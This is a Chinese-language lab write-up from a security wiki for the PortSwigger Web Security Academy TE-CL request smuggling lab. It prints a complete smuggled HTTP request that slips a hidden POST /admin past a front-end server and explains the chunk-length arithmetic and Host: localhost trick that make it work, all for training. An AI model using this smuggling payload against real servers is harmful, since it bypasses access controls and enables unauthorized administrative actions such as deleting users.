menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 001-绕过前端服务器安全控制 chevron_right 003-TE-CL绕过前端服务器安全控制.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    003-TE-CL绕过前端服务器安全控制.md
    2.36 KB / 2021-07-17 00:01:42
        #### TE-CL绕过前端服务器安全控制
    
    同上面实验相反,前端服务器识别`Transfer-Encoding`,后端服务器识别`Content-Length`
    
    **实验地址**:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl
    
    **实验描述**
    
    本实验包含一个前端和后端服务器,后端服务器不支持`Transfer-Encoding`分块传输。现有一个管理员面板/admin,但被限制直接访问。
    
    要完成本实验,需向后端服务器走私一个http请求以访问到管理员系统并删除名为`carlos`的用户。
    
    **实验过程**
    
    构造走私请求,这里构造请求同上面实验有些差别
    
    ```bash
    POST / HTTP/1.1
    Host: acc11f291f28854680882dae00df00bf.web-security-academy.net
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Referer: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: session=DHsv0QPpKqKpsxRdjanyv0OdA5CUY9cn
    Content-Length: 4
    Transfer-Encoding: chunked
    
    60
    POST /admin HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 12
    
    x=1
    0
    
    ```
    
    构造请求,提示需要添加`Host:localhost`
    
    ![](images/security_wiki/15905478983458.png)
    
    
    如果对此处请求体构造有疑问可以查看chunk传输数据的格式
    
    > chunk传输数据格式如下,其中size的值由16进制表示。
    > 
    > ```
    > >[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0[\r\n][\r\n]]
    > >
    > 
    > ```
    
    因而这里60对应的十进制是:96。恰好等于60以下到0以上数据的长度(包括\r\n)
    
    此处需说明一点,请求包中chunk分块传输的数据库长度必须正确,同时走私请求中的Content-Length长度也需保证正确,否则会提示无法识别或非法请求。
    
    ![](images/security_wiki/15905479073647.png)
    
    
    添加`Host:localhost`并修改数据块长度后重新发包
    
    ![](images/security_wiki/15905479186221.png)
    
    
    修改走私请求为GET方式,多次发送最终成功删除用户。
    
    ![](images/security_wiki/15905479256682.png)
    
    
    
    
    links
    file_download